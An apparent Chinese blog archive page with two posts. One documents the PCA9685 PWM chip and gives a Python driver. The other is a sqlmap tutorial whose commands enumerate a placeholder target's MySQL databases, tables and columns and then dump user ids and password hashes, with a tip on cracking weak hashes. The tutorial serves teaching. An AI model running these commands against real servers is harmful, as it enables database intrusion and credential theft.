归档 2016 年 5 月

PCA9685中文简要文档

前言

近来用做了个树莓派控制的小车,可是树莓派的 PWM 输出的确不怎么样,在用 RPi.GPIO 库输出 PWM 波时还出现了找不到原因的 bug(占空比无法保持,始终自动减小至0后跳回原值),找了半天资料也没有结果,无奈之下只好用 PCA9685 这一 I2C 接口的 PWM 扩展板。
这里简单记录一下它的使用方法。本人水平有限,如有不当之处请指正。

简介

PCA9685 是 NXP 产的 I2C 总线接口的16路12位的 PWM 发生芯片(模块),需要2.3V ~ 5.5V供电,频率可调(24Hz ~ 1526Hz),厂商提供的文档以控制 LED 灯为例进行说明,一些细节问题还是要看厂商的文档。
它在 I2C 总线上的地址初始是0x40,可硬改;内部是寄存器寻址范围是0x00 ~ 0x45和0xfa ~ 0xff,其中0x00和0x01是两个模式寄存器 MODE1 和 MODE2 [1];0x02 ~ 0x05是子地址和广播地址;从0x06 ~ 0x45每4个一组共16组,依次表示第0~15个 PWM 输出端电平高低跳变的控制数据[2];对0xfa ~ 0xfd写数据可同时设置前面16组寄存器的内容(读无效);0xfe是频率寄存器[3],0xff为测试模式,不要动它。
[1]: MODE1寄存器共8位,从高位到低位含义为:7.restart 重新按寄存器的内容输出PWM信号,写1后动作执行并自动回0,6.extclk 选择外部/内部时钟,5.AI 自增使能,4.sleep 振荡器不工作,3~0.位是子地址和广播地址的使能位。MODE2暂时用不着。
[2]: 每组4个,地址由低到高为:led_on_h、led_on_l、led_off_h、led_off_h。led_on_h的高7~5位无用,第4位为常开使能,第3~0位和led_on_l的全部8位共12位共同组成跳变到高电平的时间t(在每个周期的t/4096时由低电平跳变到高电平),led_off_h 与 led_off_l同理。
[3]: 频率寄存器的值由公式 value=(25000000/(4096*freq))-1 得出。

具体使用

上电后 MODE1 中的 sleep 为1(即振荡器不工作),首先我们要设置频率(仅当 sleep 位为1时向频率寄存器写入的值才有效),设置好频率之后关闭 sleep 并向 restart 位写1后设置的频率生效并开始输出 PWM 波。接下来可以设置占空比,设置立即生效,如果观察不到输出波形请检查常开使能和常关使能是否有效。

示例程序(Python)

参考了因特网上一些资料,在此表示感谢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# -*- coding: utf-8 -*-  
import RPi.GPIO as GPIO
import time
import smbus

class PCA9685:
mode1adr=0x00 #0x00
mode2adr=0x01
subadr1=0x02
subadr2=0x03
subadr3=0x04
allcalladr=0x05
led0_on_l_adr=0x06
led0_on_h_adr=0x07
led0_off_l_adr=0x08
led0_off_h_adr=0x09
led1_on_l_adr=0x0a
led1_on_h_adr=0x0b
led1_off_l_adr=0x0c
led1_off_h_adr=0x0d
#....................
all_led_on_l_adr=0xfa
all_led_on_h_adr=0xfb
all_led_off_l_adr=0xfc
all_led_off_h_adr=0xfd
pre_scale=0xfe #freq

init_mode=0x01

freq = 0

def __init__(self,i2c_ch,PCA9685adr):
self.PCA9685adr = PCA9685adr
self.bus = smbus.SMBus(i2c_ch)
self.bus.write_byte_data(self.PCA9685adr,self.mode1adr,self.init_mode)
self.setFreq(50)

def toByte(self,x1):
if x1<0xff:
x_l=x1
x_h=0x00
else :
x_h=x1/256
x_l=x1-x_h*256
return x_l,x_h

def write_16(self,led_num,uInt16):
(uInt16L,uInt16H)=self.toByte(uInt16)
self.bus.write_byte_data(self.PCA9685adr,led_num,uInt16L)
self.bus.write_byte_data(self.PCA9685adr,led_num+1,uInt16H)

def write_8(self,led_num,uInt8):
self.bus.write_byte_data(self.PCA9685adr,led_num,uInt8)


def setFreq(self,freq):
data=(25000000/(4096*freq))-1
data=int(data+0.49)
oldmode = self.bus.read_byte_data(self.PCA9685adr,self.mode1adr)
newmode = (oldmode & 0x7F) | 0x10
self.bus.write_byte_data(self.PCA9685adr,self.mode1adr,newmode)
self.bus.write_byte_data(self.PCA9685adr,self.pre_scale,data)
self.bus.write_byte_data(self.PCA9685adr,self.mode1adr,oldmode)
print str(freq)+' F'
time.sleep(0.005)
self.bus.write_byte_data(self.PCA9685adr,self.mode1adr,oldmode|0xa1)
self.bus.write_byte_data(self.PCA9685adr,self.mode1adr,oldmode)
self.freq = freq
def getFreq(self):
return self.freq

def setDuty(self,led_num,duty):
data = int(float(duty)/100*4095)
print str([duty,data])+' E'
if duty < 0:
self.write_16(self.led0_on_l_adr+4*led_num,0)
self.write_16(self.led0_off_l_adr+4*led_num,0)
if duty < 100 and duty >= 0:
self.write_16(self.led0_on_l_adr+4*led_num,0)
self.write_16(self.led0_off_l_adr+4*led_num,data)
elif duty >= 100:
self.write_16(self.led0_on_l_adr+4*led_num,0x1000)
self.write_16(self.led0_off_l_adr+4*led_num,0x0FFF)

sqlmap的简单应用

引用下官方介绍:sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. 即sqlmap是个开源的测试工具,能自动检测和利用SQL注入漏洞。
本文以获取 DBMS 用户和密码 hash 为例,简单介绍下sqlmap的使用。
sqlmap的使用很简单,其命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。使用如下命令可获取帮助

python sqlmap.py -h

当你发现疑似可以注入的地方时,使用 -u 参数指定注入页面,如果需以 post 方式注入,可使用 –data 参数,用法如下:

sqlmap.py -u “http://example.xxx/1.php?id=2&pw=3“ (get方式)

sqlmap.py -u “http://example.xxx/1.php“ –data “id=2&pw=3” (post方式)

如果可以注入,sqlmap 会给出数据库的相关信息提示。
接下来就该列出 DBMS 数据库了,使用 –dbs 参数:

sqlmap.py -u “http://example.xxx/1.php“ –data “id=2&pw=3” –dbs

等了一会,枚举完成,根据这过程中的相关提示我们知道目标为运行在 Ubuntu 上的 MySQL ,所以我们的目标是“mysql”这个数据库。
然后需要列出 mysql 数据库中有哪些表,使用 -D 指定数据库,–tables 枚举表:

sqlmap.py -u “http://example.xxx/1.php“ –data “id=2&pw=3” -D mysql –tables

在结果中有 user 这个表,根据猜想这个表里应该有用户名和密码,下一步枚举这个表中的列,使用 -T 指定表 –columns 枚举列:

sqlmap.py -u “http://example.xxx/1.php“ –data “id=2&pw=3” -D mysql -T user –columns

结果有好多,其中有 id 和 password 等列,印证了我们的猜想。
最后一步便是把用户名和密码 dump 出来,使用 -C 指定列,使用 –dump 来 dump:

sqlmap.py -u “http://example.xxx/1.php“ –data “id=2&pw=3” -D mysql -T user -C id,password –dump

经过一番等待之后,结果便出来了。

如果是原始密码弱密码的话,可以轻易在一些解密网站上查得到原始密码。

1